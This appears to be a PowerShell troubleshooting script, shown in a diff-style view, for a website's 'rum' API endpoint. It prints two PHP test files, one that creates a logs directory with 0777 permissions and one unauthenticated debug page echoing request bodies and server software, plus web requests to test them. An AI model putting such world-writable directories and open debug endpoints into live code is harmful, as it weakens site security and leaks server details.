# Diagnostic script for freeboldsec.com server
|
|
2
|
+
|
|
3
|
+
Write-Host "=== DIAGNOSTIC TEST ===" -ForegroundColor Cyan
|
|
4
|
+
|
|
5
|
+
# Test 1: Check if logs directory is writable
|
|
6
|
+
Write-Host "`nTest 1: Creating test file in logs directory..." -ForegroundColor Yellow
|
|
7
|
+
$testUrl = "http://freeboldsec.com/new-page-1/api/rum/test_write.php"
|
|
8
|
+
$testPhp = @'
|
|
9
|
+
<?php
|
|
10
|
+
$logDir = dirname(__FILE__) . '/logs';
|
|
11
|
+
if (!file_exists($logDir)) {
|
|
12
|
+
mkdir($logDir, 0777, true);
|
|
13
|
+
}
|
|
14
|
+
$testFile = $logDir . '/test_write.txt';
|
|
15
|
+
$result = file_put_contents($testFile, 'Test write at ' . date('Y-m-d H:i:s'));
|
|
16
|
+
if ($result !== false) {
|
|
17
|
+
echo json_encode(['status' => 'success', 'message' => 'Write test successful', 'file' => $testFile]);
|
|
18
|
+
} else {
|
|
19
|
+
echo json_encode(['status' => 'error', 'message' => 'Write test failed', 'dir_exists' => file_exists($logDir), 'dir_writable' => is_writable($logDir)]);
|
|
20
|
+
}
|
|
21
|
+
?>
|
|
22
|
+
'@
|
|
23
|
+
|
|
24
|
+
Write-Host "Create test_write.php with this content in /public_html/new-page-1/api/rum/:" -ForegroundColor Cyan
|
|
25
|
+
Write-Host $testPhp -ForegroundColor Gray
|
|
26
|
+
|
|
27
|
+
# Test 2: Debug POST detection
|
|
28
|
+
Write-Host "`n`nTest 2: Debug POST request..." -ForegroundColor Yellow
|
|
29
|
+
Write-Host "Create debug5.php with this content in /public_html/new-page-1/api/rum/:" -ForegroundColor Cyan
|
|
30
|
+
|
|
31
|
+
$debugPhp = @'
|
|
32
|
+
<?php
|
|
33
|
+
header('Content-Type: application/json');
|
|
34
|
+
|
|
35
|
+
$debug = [
|
|
36
|
+
'request_method' => $_SERVER['REQUEST_METHOD'],
|
|
37
|
+
'content_type' => $_SERVER['CONTENT_TYPE'] ?? 'not set',
|
|
38
|
+
'content_length' => $_SERVER['CONTENT_LENGTH'] ?? 'not set',
|
|
39
|
+
'raw_input' => file_get_contents('php://input'),
|
|
40
|
+
'post_data' => $_POST,
|
|
41
|
+
'server_software' => $_SERVER['SERVER_SOFTWARE'] ?? 'unknown'
|
|
42
|
+
];
|
|
43
|
+
|
|
44
|
+
echo json_encode($debug, JSON_PRETTY_PRINT);
|
|
45
|
+
?>
|
|
46
|
+
'@
|
|
47
|
+
|
|
48
|
+
Write-Host $debugPhp -ForegroundColor Gray
|
|
49
|
+
|
|
50
|
+
Write-Host "`n`nAfter creating these files, run these commands:" -ForegroundColor Green
|
|
51
|
+
Write-Host '1. Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/test_write.php" -UseBasicParsing' -ForegroundColor White
|
|
52
|
+
Write-Host '2. Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/debug5.php" -Method POST -Body ''{"test":"data"}'' -ContentType "application/json" -UseBasicParsing' -ForegroundColor White
|
|
53
|
+
|
|
54
|
+
Write-Host "`n`nThis will help identify if:" -ForegroundColor Yellow
|
|
55
|
+
Write-Host "- The logs directory can be written to" -ForegroundColor White
|
|
56
|
+
Write-Host "- POST requests are being detected correctly" -ForegroundColor White
|
|
57
|
+
Write-Host "- PHP is processing the requests properly" -ForegroundColor White
|